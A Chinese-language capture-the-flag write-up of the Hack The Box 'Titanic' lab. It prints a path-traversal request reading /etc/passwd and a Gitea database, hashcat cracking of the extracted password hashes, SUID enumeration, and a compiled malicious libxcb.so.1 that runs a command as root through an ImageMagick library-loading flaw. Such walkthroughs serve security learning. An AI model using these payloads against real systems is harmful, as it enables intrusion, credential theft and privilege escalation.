HTB_Titanic

htb_Titanic

Nmap

image

LFI

首先还是将这个添加到/etc/hosts

echo "10.10.11.55 titanic.htb" |sudo tee -a /etc/hosts

访问

image

在最下方填写点东西bp抓包看一下

image

访问download路由可以下载,里面包含刚刚输入的东西

image

那么也就是说这个逻辑是将刚刚输入的东西存到1cab2a16-9e10-4209-9693-2b0465c6151c.json文件中,再通过download路由进行下载

so可以尝试一下路径遍历

?ticket=../../../../../../etc/passwd

image

可以看到也是成功了

那么可以尝试读取一下user.txt

需要知道具体路径

image

拿到了/home/developer

路径遍历一下

http://titanic.htb/download?ticket=../../../../../../../home/developer/user.txt

第一层flag拿到

Gitea

接下来想办法ssh连接,毕竟开放了22端口

那么一定有一个密码需要我们找

先来爆破一下子域名

image

也是很轻松的就爆出来了,将 dev.titanic.htb 添加到 /etc/hosts

访问一下http://dev.titanic.htb/

image

之后就是查看gitea的官方文档,gitea 的数据库文件一般在 /data/gitea.db

而Gitea 在 Docker 容器中运行将数据存储在/data/gitea ​docker 镜像中

所以最终路径应该为

/home/developer/gitea/data/gitea/gitea.db

尝试使用下面的路径进行下载

http://titanic.htb/download?ticket=../../../../../../../home/developer/gitea/data/gitea/gitea.db

查看user表

image

可以看到密码被加密了

需要手动转换或者使用gitea2hashcat.py脚本进行格式化

1
python3 gitea2hashcat.py 8bf3e3452b78544f8bee9400d6936d34:e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf1682619263444ea594cfb56

然后将转换的结果用hashcat进行解密

hashcat -m 10900 titanic.hash /home/dream/桌面/rockyou.txt

最终得到了明文密码

提权

疯狂试探

ssh连接

ssh developer@titanic.htb

首先确定为普通用户权限,查看内核版本

uname -a

image

权限不够,不能将exp上传

再查看有没有低权限的定时任务文件可以利用

cat /etc/crontab

image

再看看SUID提权

find / -user root -perm -4000 -print 2>/dev/null

image

/usr/bin/sudo 如果 sudo 配置有漏洞,可能可以直接提权
/usr/bin/pkexec 很多老版本(如 polkit CVE-2021-4034)可以直接提权

所以先看一下pkexec​的版本

image

OK,这个版本是有提权漏洞的,下载一个网上的exp编译一下

忘记了,不能联网以及没有创建文件或文件夹的权限

那再看一下sudo

image

高版本,再看看配置会不会有问题

image

也没有什么可以利用的

想用docker提权但也是权限不足

步入正轨

那就检查一下第三方软件会不会有什么漏洞

find /opt -type f

image

看到了一个脚本文件,可以重点关注一下

cat /opt/scripts/identify_images.sh

image

ImageMagick也是个很容易突破的口子,看一下对应版本

magick -version

image

查一下对应版本看是否有漏洞可以利用

image

找到了

https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-8rxc-922v-phg8

决定仿照这个写payload

image

根据 identify_image.sh,需要在 /opt/app/static/assets/images 中生成 libxcb.so.1 才能导致 root 权限下的 magick 读取到 root.txt

1
2
3
4
5
6
7
8
9
10
11
12
cd /opt/app/static/assets/images

gcc -x c -shared -fPIC -o ./libxcb.so.1 - << EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor)) void init(){
system("cat /root/root.txt > /tmp/rootflag");
exit(0);
}
EOF

image

OK,成功拿到


HTB_Titanic
http://example.com/post/titanic-rr83r.html
作者
Dre4m
发布于
2025年4月8日
许可协议